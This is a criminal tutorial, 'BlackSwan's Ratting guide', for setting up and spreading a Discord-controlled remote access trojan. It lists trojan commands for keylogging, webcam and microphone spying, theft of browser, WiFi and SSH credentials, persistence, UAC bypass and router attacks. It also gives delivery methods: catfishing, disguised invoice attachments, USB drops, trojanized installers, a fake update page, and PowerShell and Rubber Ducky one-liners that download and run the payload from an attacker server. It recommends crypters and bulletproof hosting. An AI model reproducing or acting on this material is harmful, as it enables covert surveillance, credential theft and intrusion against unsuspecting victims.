════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════ This is a full Ratting guide made by BlackSwan aka Newgen. t.me/blackswancomm ════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════ ,--, ,---.'| ,--. ,--. ,---,. | | : ,---, ,----.. ,--/ /| .--.--. .---. ,---, ,--.' ,' .' \: : | ' .' \ / / \ ,---,': / ' / / '. /. ./| ' .' \ ,--,: : | ,---.' .' || ' : / ; '. | : :: : '/ / | : /`. / .--'. ' ; / ; '. ,`--.'`| ' : | | |: |; ; ' : : \ . | ;. /| ' , ; | |--` /__./ \ : |: : \ | : : | | : : : /' | |__ : | /\ \ . ; /--` ' | / | : ;_ .--'. ' \' .: | /\ \ : | \ | : : | ; | | :.'|| : ' ;. : ; | ; | ; ; \ \ `. /___/ \ | ' '| : ' ;. : | : ' '; | | : \' : ;| | ;/ \ \| : | : ' \ `----. \; \ \; :| | ;/ \ \' ' ;. ; | | . || | ./ ' : | \ \ ,'. | '___ | | ' __ \ \ | \ ; ` |' : | \ \ ,'| | | \ | ' : '; |; : ; | | ' '--' ' ; : .'|' : |. \ / /`--' / . \ .\ ;| | ' '--' ' : | ; .' | | | ; | ,/ | : : ' | '/ :| | '_\.' '--'. / \ \ ' \ || : : | | '`--' | : / '---' | | ,' | : / ' : | `--'---' : ' |--" | | ,' ' : | | | ,' `--'' \ \ .' ; |,' \ \ ; `--'' ; |.' `----' `---` '---' '---" '---' ═════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════ Doxxing/ Ratting services on t.me/blackswancomm. Osint tools on discord.gg/intelchecking. ═════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════ :. .: -. ::. ... .:: .- :.::..:... .=. .=. ..:-..-..: :-..::..:.... :=█░█+: ....-:::-..-: ...:::.:::--:.=. .. .=█▒▒%. ...:=::--:-:.:::... .-:...:-::-==&=+*%-. . :░.&- . .*%*&+#=-=----...:-. :::::..-+=+*==%█▒&*-... :&▓@: ....-%&█▒%=+@+-==.:::::: :-:...:=----***+&█#*▒█&=.... ::%-: ....:+@▒@*░▓%*++*---=+....:-- .:---:-==---%*-*#▒▒%%@░▓&+.. : : ...+░▓░@*#▓░*-=*%===-==::--:. .::::.::-----%#+=%%░█░#*░█&... : : ..:#█@&@▓█░**=%&+---=--:.::::. :......-=--=&#%%*%%░█@&█&... : : ...░█%░█▒%+*%&##*----:-:...: .::-*%*--+=--=*░▓@*%▓█@░█@ ... .: :. .. :▒█&▒█&=&▒▒@+---=+-:=---::. :::=&%=-==++=+▓▒░%#▓█&▒█@- .. : : .. *░█&░█░*%░@*--======--:::: :=--=-++:==-+#▓#%#▓█@██░-.... :. .. ...:+███▓█@&%&▒&*.-=:++--+::: .:+&++=.+-=*#▒&%#██████░*. ..:. .:....%▓███▒█@*%%▓#=-++.+*-&=:. -:+==+-=+▓░&@████████▓%=. .=&████████&+@▓#--===&%-: ..&+==**+#█▓█████████░. .▒████████▓▒█#+--**++- .+&#==&+@#█████████+..... ..:..#██████████#**-=*%*. -**#+%*░▓████████░+-#**#+-*@%%&%@█████████▒*=%=░=+: -+%%░&#@█████████░░▒███&#▒████████████▓&&%%*░-: .-▓&*@@███████░█████████████████████@@%#&▒&- .-%&███████▒@▒██████████████░▓██████▒%*:. .:=+&**:░███████████████&-=**=-:. .:-*@██████████████████▓&*-:. .=*%▒██▒░███████████@▓█▓&%+-. :%&&@████████████████▓#@+=. ..::::=:-++++++++++%%%▓&▓███████▒%▒&**+++++++++++===-:-. . . .:.--==%#@▒▒▓███████████████████████████████▒▒▒@#*=--:.. ::-=-*#░░@@█████████████████████████▓▒@#%%=--.: ..-**%%%*-%░▒█▓▓█▓▒▓█▓▒██████▓░%+**=::... . ..-++*#░░░##&▒░▒█▓@@@%*+=. . ..::.:==:::+-.:==.. ═════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════ -= Table of Contents =- ════════════════════════════════════════╠═══════════════════════════════════════════════════╣════════════════════════════════ ║ ║ ║ ║ ║ ║ ║ / 0x01 / --> Introduction................ ║ ║ ║ ║ ║ ║ / 0x02 / --> Command list................ ║ ║ ║ ║ ║ ║ / 0x03 / --> How to set it up............ ║ ║ ║ ║ ║ ║ / 0x04 / --> How to deploy it on someone. ║ ║ ║ ║ ║ ║ / 0x05 / --> Toolsets.................... ║ ║ ║ ║ ║ ║ / 0x06 / --> Credits..................... ║ ║ ║ ║ ║ ║ ║ ════════════════════════════════════════╠═══════════════════════════════════════════════════╣════════════════════════════════ 0x01 -= Introduction =- ═════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════ Hello skiddies, welcome to this Ratting tutorial. Ratting is really easy if u follow this tutorial. This is a pretty technical tutorial but its not hard at all to inject and use when its set and done. Lets talk about the definition first and what a RAT exactly does. A RAT (Remote Administration Tool / Remote Access Trojan) is a software that allows administtrator remote control of a computer system without the user's knowledge or consent. This RAT specifically is 64-bit so compatible for deployement on windows 10/11, Linux Kali and Ubuntu. The bot uses a Discord bot as main command server, i will explain why this is better. Its written in Python and its designedso it blends in with normal traffic and doesn't get caught by anti-viruses. Thats not the only thing, its programmed to multiply and 'hide' in normal executables (like discord and scvhost). If u dm me on telegram i can show u the proofs of how it works and how it doesn't get detected. The RAT can do a lot of stuff like File transfer, keylogging, screen capture, webcam, email theft, microphone, password theft, remote shell and full system control. How does it work you may ask? First up you make the target machine run the RAT executable, i will explain later how this is easiest done. After that the RAT connects to Discord using hardcoded bot token, the RAT sends startup notification to an authorized user ID, when the RAT is connected the attacker issues commands via Discord messages (prefix "!") and RAT executes commands and sends output back via Discord. Why would i code it compatible for discord you may ask? Well if i code it for discord there is no open inbound ports (so it bypasses firewalls), the inbound traffic looks like normal Discord gaming/chat, there is free infrastructure (Discord servers) to host the bot on, there is real-time command response via WebSocket and because its on discord the file upload/download is built-in, unlike in PowerShell or on a local host. ═════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════ 0x02 -= How to use it? =- ═════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════ When your done setting up the Rat and the discord bot (0x03). There are alot of executable commands you're able to use. Go to the server or ur chat with the bot and these are all the usable commands. The discord bot also has a !help command that shows all the commands. ╠═══════════════════════════════════════════════════════════════════════════════════════════════════════════╣ | Command | Description | Example | | | | | !system | Display OS, CPU, RAM, disk, IP, hostname | `!system` | | !processes | List all running processes with PID | `!processes` | | !network | Show active connections and interfaces | `!network` | | !dir [path] | List directory contents (default: current) | `!dir C:\Users` | | !cd [path] | Change working directory | `!cd C:\Windows` | | !pwd | Show current directory | `!pwd` | | !list_drives | Show all available drives (C:\, D:\) | `!list_drives` | | | |Remote Shell: | | | | !shell [command] | Execute any system command | `!shell ipconfig /all` | | | |File Operations: | | | | !download [path] | Download file from target (max 25MB) | `!download C:\?.txt` | | !upload | Upload file to target (attach file) | `!upload` *attachment* | | !search [pattern] [path] | Search files by name pattern | `!search *.docx C:\` | | !delete [path] | Delete file or directory | `!delete C:\temp.log` | | !move [src] [dst] | Move or rename file | `!move old.txt new.txt` | | !copy [src] [dst] | Copy file | `!copy a.txt b.txt` | | | |Surveillance: | | | | !screenshot | Capture screen (PNG) | `!screenshot` | | !camera | Capture webcam image | `!camera` | | !keylog_start | Begin keyboard logging | `!keylog_start` | | !keylog_dump | Retrieve keystrokes | `!keylog_dump` | | !keylog_stop | Stop keylogger | `!keylog_stop` | | !record_mic [sec] | Record microphone (max 300s) | `!record_mic 30` | | !record_screen [sec] | Record screen video (max 60s) | `!record_screen 15` | | !clipboard | Get clipboard contents | `!clipboard` | | | |Credential Theft: | | | | !steal_browser | Extract Chrome/Edge/Brave passwords | `!steal_browser` | | !steal_wifi | Extract saved WiFi passwords | `!steal_wifi` | | !steal_discord | Extract Discord tokens | `!steal_discord` | | !steal_windows | Extract Windows Credential Manager | `!steal_windows` | | !steal_ftp | Extract FileZilla credentials | `!steal_ftp` | | !steal_outlook | Extract Outlook email passwords | `!steal_outlook` | | !steal_putty | Extract PuTTY/WinSCP sessions | `!steal_putty` | | !steal_sshkeys | Extract SSH private keys | `!steal_sshkeys` | | !auto_harvest [start/stop] | Auto-harvest every 30 minutes | `!auto_harvest start` | | | |System Control: | | | | !msgbox [title] | [text] | Display Windows message box | `!msgbox hi | ur hacked' | | !speak [text] | Text-to-speech | `!speak Hello world` | | !wallpaper [path] | Change desktop wallpaper | `!wallpaper C:\image.jpg` | | !volume [0-100] | Set system volume | `!volume 50` | | !mute | Mute system | `!mute` | | !unmute | Unmute system | `!unmute` | | !block_input | Block keyboard/mouse | `!block_input` | | !unblock_input | Unblock input | `!unblock_input` | | !shutdown | Shutdown computer | `!shutdown` | | !restart | Restart computer | `!restart` | | | |Persistence & Privilege: | | | | !persist | Install persistence (registry + startup) | `!persist` | | !is_admin | Check administrator | `!is_admin` | | !elevate | Attempt UAC bypass | `!elevate` | | !selfdestruct | Delete RAT from system | `!selfdestruct` | | | |Help: | | | | !help | Display all commands | '!help' | | | |Wifi attacks: | | | | !wifi_dos | DoS on target router / all device | `!wifi_dos broadcast/ *ip*` | | !router_kick | Tries admin/admin on 192.168.1.1 | `!router_kick` | | | Brute forces that router | `!router_kick 192.168.x` | | | Changes WiFi password, all devices disconnect | `!router_kick 10.0.0.1` | | !tcp_reset | Reset gaming console connection | `!tcp_reset 192.168.1.150` | | | Disrupt streaming device | `!tcp_reset 192.168.1.130` | | | Kill phone connections | `!tcp_reset 192.168.1.105` | | | Stop downloads | `!tcp_reset 192.168.1.110` | | !ping_flood | Take down website | `!ping_flood 8.8.8.8 60` | | | Stop internet for device | `!ping_flood 192.168.x 180` | | | Maximum attack (5 min at a time) | `!ping_flood 192.168.x | | | !dhcp_starve | Exhaust network IPs | `!dhcp_starve` | | | ╠═══════════════════════════════════════════════════════════════════════════════════════════════════════════╣ ═════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════ 0x03 -= How to set it up - Files etc. =- ═════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════ ╠═══════════════════════════════════════════════════════════════════════════════════════════════════════════╣ | | | Before starting with anything u have to make sure u have python 3.8 or higher installed and after ur done| | u also have to install the installation manager, in most cases its already installed but make sure u have| | the right version. | | After your done with that open powershell as administrator and run these commands | | | | pip install discord.py | | pip install psutil | | pip install pillow | | pip install opencv-python | | pip install pynput | | pip install pyperclip | | pip install pyttsx3 | | pip install pycaw | | pip install comtypes | | pip install sounddevice | | pip install scipy | | pip install numpy | | pip install pywin32 | | pip install winshell | | pip install pycryptodomex | | pip install requests | | pip install scapy | | pip install asyncio | | pip install pyaudio | | pip install pyinstaller | | | | After this ur good to go. | | | | | ╠═══════════════════════════════════════════════════════════════════════════════════════════════════════════╣ | Step 1: Make a discord bot | | | | For the first step make sure u buy a fresh dc acc thats not linked to u att all, for example u can buy | | Some really cheap of eldorado for 80 cents. | | | | 1. Go to `https://discord.com/developers/applications` | | | | 2. Click "New Application" → Name: `*inserted name*` | | | | 3. Left sidebar → "Bot" → "Add Bot" → "Yes, do it!" | | | | 4. Click "Reset Token" → Copy token (save immediately in notes) | | | | 5. Scroll down to "Privileged Gateway Intents" → Enable ALL three: | | | | - ✅ PRESENCE INTENT | | - ✅ SERVER MEMBERS INTENT | | - ✅ MESSAGE CONTENT INTENT (CRITICAL) | | | | 6. Click "Save Changes" | | | | 7. Left sidebar → "OAuth2" → "URL Generator" | | | | 8. Check: | | - ✅`bot` | | - ✅ `applications.commands` | | | | 9. Check permissions: | | - ✅ Send Messages | | - ✅ Read Messages | | - ✅Attach Files | | - ✅Embed Links | | | | 10. Copy generated URL → Open in browser → Add bot to your PRIVATE server (otherwise it might get banned) | | | | | | Step 2: Get Your Discord User ID | | | | | | 1. Discord Settings → Advanced → Enable "Developer Mode" | | | | 2. Right-click your name anywhere in-chat → "Copy User ID" | | | | 3. Save this number in your notes | | | | | | Step 3: Configure the RAT Script | | | | The file u bought (dont run it ) is not fully configured so what you need to do to connect it to the | | discord servers is | | | | Open `rat.py` and press 'edit with notes' then proceed to edit lines 19-21: | | | | `python | | BOT_TOKEN = "UR BOT TOKEN" | | AUTHORIZED_USER_ID = "UR USER ID" | | COMMAND_PREFIX = "!" ` | | | | | | Step 4: Install Python Dependencies | | | | Open PowerShell as Administrator: | | | | pip install discord.py psutil pillow opencv-python pynput pyperclip pywin32 winshell pycryptodomex | | requests (if u haven`t done this already) | | | | | | For microphone/screen recording (optional): | | | | pip install sounddevice scipy numpy | | | | | | Step 5: Test the Script Locally | | | | | | python rat.py | | | | | | Expected output: | | | | [+] Bot connected as WindowsUpdate#1234 | | [+] Authorized user ID: 987654345012345678 | | [+] System: Windows-10-10.0.19145-SP0 | | | | | | In Discord, type: `!system` → Bot responds with ur system info. | | | | Step 6: Compile to Executable (for deployment) | | | | Install PyInstaller: | | | | pip install pyinstaller | | | | | | Compile (hides console window): | | | | pyinstaller --onefile --noconsole --hidden-import=win32com --hidden-import=win32com.client | | --hidden-import=requests --name=*insert name*.exe rat.py | | | | | | Output location: `dist\WindowsUpdate.exe` (size: 15-25MB) | | | | Step 7: Keep Bot Online 24/7 (Required IF u want to stay in his pc) | | | | Option A: Your PC | | | | Run `python rat.py` in background | | | | Keep PC on, disable sleep | | | | Risk: Your IP visible ( you should use a secured vpn or vpsd ), PC must stay on | | | | | | Option B: Free VPS (Recommended) | | | | 1. Sign up: Oracle Cloud Free Tier or Google Cloud ($300 credit) | | | | 2. Create Ubuntu VM (1GB RAM minimum) | | | | 3. SSH into VPS: | | | | ssh ubuntu@your_vps_ip | | sudo apt update && sudo apt install python3-pip screen -y | | pip3 install discord.py psutil pillow opencv-python | | | | 4. Upload `rat.py` to VPS (using SCP or `wget`) | | | | 5. Run in screen session: | | | | screen -S discord_bot | | python3 rat.py | | | | 6. Detach: `Ctrl+A` then `D` | | | | 7. Reattach: `screen -r discord_bot` | | | | File Structure After Setup: | | | | C:\Users\User\Desktop\RAT\ | |├── rat.py (original source) | |├── dist\ | |│ └── WindowsUpdate.exe (compiled payload) | |├── build\ (temporary, ignore) | |└── rat.spec (PyInstaller config) | | | ╠═══════════════════════════════════════════════════════════════════════════════════════════════════════════╣ ═════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════ 0x04 -= How to deploy it on someone's PC - Multiple methods= =- ═════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════ ╠═══════════════════════════════════════════════════════════════════════════════════════════════════════════╣ | | | This step is the most important step in this whole tutorial, ive compiled the most popular methods. | | Before deployement you have to know what ur goal is and where you want to deploy it, if you have beef | | With someone go to Method 1, if you want to mass deploy it go to the other methods. | | | | | | Method 1: Social engineering (best and easiest way) | | | | 1. Buy a cheap old discord account. The use for this is, when you`ll try to social engineer your victim | | its way easier for them to believe an old account. | | | | 2. Either join a server with that person in it or befriend their friend somehow. | | | | 3. Either try to befriend or Catfish that person. (gain their trust) | | | | 4. Make an excuse for them to click a download. some good examples are minecraft mods or a video anything | | you wouldnt give a second thought. (make sure the file actually does also contain the mod or the vid) | | | | Method 2: Email Attachment (Social Engineering) | | | | 1. Rename `WindowsUpdate.exe` to `Invoice_Q4.pdf.exe` | | | | 2. Change icon: Download `ResourceHacker` → Replace icon with PDF icon | | | | 3. Create ZIP archive with password: `7z a -p"invoice" -mx9 payload.zip WindowsUpdate.exe` | | | | 4. Send email: | | - From: Disposable email (Guerrilla Mail) | | - Subject: "Urgent: Invoice #INV-2025-0042" | | - Body: "Please find attached invoice. ZIP password: invoice" | | | | 5. Attach `payload.zip` | | | | Method 3: USB Drop Attack | | | | 1. Rename EXE to `Employee_Handbook_2025.pdf.exe` | | | | 2. Copy to USB drive with decoy files: | | | | F:\ | | ├── README.txt (contents: "Confidential - HR Documents") | | ├── Benefits_Summary.pdf (real PDF, any file) | | └── Employee_Handbook_2025.pdf.exe (your RAT) | | | | 3. Label USB drive: "HR_Confidential" | | | | 4. Leave in target office parking lot, bathroom, or break room | | | | Method 4: Trojanize Legitimate Software | | | | 1. Download small legitimate installer: `npp.8.6.Installer.exe` (Notepad++) | | | | 2. Use WinRAR to create SFX archive: | | - Select both `WindowsUpdate.exe` and legitimate installer | | - Check "Create SFX archive" | | - SFX options → Setup → Run after extraction: | | | | WindowsUpdate.exe | | npp.8.6.Installer.exe | | | | - Modes: Unpack to temporary folder | | - Text and icon: Load icon from legitimate installer | | | | 3. Output: `Notepad++_Setup.exe` (runs RAT silently, then installs real software) | | | | Method 5: Web Drive-By Download | | | | 1. Create fake update page (`index.html`): | | | | html | | | | <html> | | <body> | | <h1>Chrome Update Required</h1> | | <p>Your browser is out of date. Downloading update...</p> | | <script> | | window.location = 'WindowsUpdate.exe'; | | </script> | | </body> | | </html> | | | | 2. Host on free service: GitHub Pages, Netlify, or VPS | | | | 3. Shorten URL: `https://bit.ly/chrome-security-update` | | | | 4. Distribute link via Discord DM, Twitter DM, or forum comment | | | | Method 6: PowerShell One-Liner (Remote Execution) | | | | If you have any code execution on target (via exploit or physical access): | | | | powershell -NoP -NonI -W Hidden -Exec Bypass -Command "IEX | | (New-Object Net.WebClient).DownloadString('http://your_server/payload.ps1')" | | | | | | Where `payload.ps1` contains: | | | | $url = "http://your_server/WindowsUpdate.exe" | | $output = "$env:TEMP\WindowsUpdate.exe" | | (New-Object Net.WebClient).DownloadFile($url, $output) | | Start-Process $output | | | | | | Method 7: USB Rubber Ducky (Physical Access) | | | | Load this payload on Rubber Ducky: | | | | DELAY 3000 | | GUI r | | DELAY 500 | | STRING powershell -WindowStyle Hidden -Command "Invoke-WebRequest | |-Uri http://your_server/WindowsUpdate.exe -OutFile $env:temp\svchost.exe; | | Start-Process $env:temp\svchost.exe" | | | | ENTER | | | | | | Method 8: Fake Software Update (MitM) | | | | | | 1. Set up Evilginx2 on VPS | | | | 2. Clone legitimate site (e.g., Adobe Flash Player download page) | | | | 3. Replace download link with your EXE | | | | 4. Send phishing link to target | | | | | | Post-Deployment Actions: | | | | Once target runs your EXE: | | | | 1. Wait for startup notification in Discord (embed with hostname + IP) | | | | 2. Type `!is_admin` to check privileges | | | | 3. Type `!persist` (though auto-persistence should already run) | | | | 4. Type `!steal_wifi` to get network passwords | | | | 5. Type `!screenshot` to verify access | | | | 6. Type `!keylog_start` for continuous monitoring | | | | 7. Type `!steal_browser` for saved credentials | | | | | ╠═══════════════════════════════════════════════════════════════════════════════════════════════════════════╣ | | | | |Troubleshooting Deployment: | | | | | | No startup embed | Bot offline or token wrong | Check VPS bot is running | | EXE crashes on open | Missing DLLs | Compile with `--hidden-import` | | Windows Defender blocks | Signature detected | Use crypter (see Toolsets) | | User won't click | Suspicious file | Better social engineering | | No response to commands | Wrong authorized user ID | Verify numeric ID in script | | | | | ╠═══════════════════════════════════════════════════════════════════════════════════════════════════════════╣ ═════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════ 0x05 -= Toolsets - Where to buy necessities =- ═════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════ ╠═══════════════════════════════════════════════════════════════════════════════════════════════════════════╣ | Free Tools: | | | | | | Main Tool: t.me/blackswancomm. the pricing is on there. | | | | | | Tool | Purpose | URL | | | | Python | Runtime environment | python.org | | PyInstaller | Compile EXE | pyinstaller.org | | UPX | Pack executable (AV evasion) | github.com/upx/upx | | ResourceHacker | Change file icons |angusj.com/resourcehacker | | WinRAR | Create SFX archives | rarlab.com | | 7-Zip | Password-protected ZIP | 7-zip.org | | Gophish | Phishing framework | getgophish.com | | Evilginx2 | MitM phishing platform | github.com/kgretzky/evilginx2 | | Visual Studio Code | Script editor | code.visualstudio.com | | Oracle Cloud Free Tier | Free VPS hosting | oracle.com/cloud/free | | | | Paid Tools (AV Evasion & Crypters): | | |Price | | | | Cyberguard Crypter | $50/month | FUD (Fully Undetectable) crypter | | AsyncRAT Crypt | $30/month | Bypass Windows Defender | | BitCry | $25/lifetime | Simple EXE crypter | | Themida | $1500/year | Commercial packer | | VMProtect | $500/year | Virtualization packer | | | | VPS Hosting (24/7 Bot Listener): | | | | Oracle Cloud | $10/month | oracle.com/cloud | | Google Cloud | $5/month | cloud.google.com | | AWS EC2 | $4/month | aws.amazon.com | | DigitalOcean | None | digitalocean.com | | Vultr | $5/month | vultr.com | | Hetzner | €4.50/month | hetzner.com | | | | Bulletproof Hosting (for payload hosting): | | | | Hostiger | $15/month | No DMCA, offshore | | Flokinet | $20/month | Romanian offshore | | Palaver | $25/month | Russian hosting | | | | | | Domain Registration (for phishing): | | | | Namecheap | $8/year | WHOIS protection included | | Njalla | $10/year | Anonymous registration | | Porkbun | $8/year | Free WHOIS privacy | | GoDaddy | $12/year | Fast setup | | | | Payload Testing (VMs for safe testing): | | | | VMware Workstation | Free for personal | vmware.com | | VirtualBox | Free | virtualbox.org | | Windows Dev VM | Free | developer.microsoft.com | | Any.Run | $199/year | any.run | | | | Discord Bot Protection (avoid token ban): | | | | Multiple bot tokens | Create 3-5 backup bots, rotate weekly | | Rate limiting | Add delays between responses (avoid spam detection) | | No mass @mentions | Never use @everyone or @here from RAT bot | | Use DMs instead | Send stolen data via DM, not public channels | | Bot verification status | Verify bot (checkmark) reduces suspicion | ╠═══════════════════════════════════════════════════════════════════════════════════════════════════════════╣ ═════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════ 0x06 -= Credits =- ═════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════ ╠══════════════════════════╣ ║ ║ ║ tg: @blackswanxc ║ ║ @vurvax ║ ║ ║ ║ t.me/blackswancomm ║ ║ ║ ║ dc: 9r2p ║ ║ ║ ╠══════════════════════════╣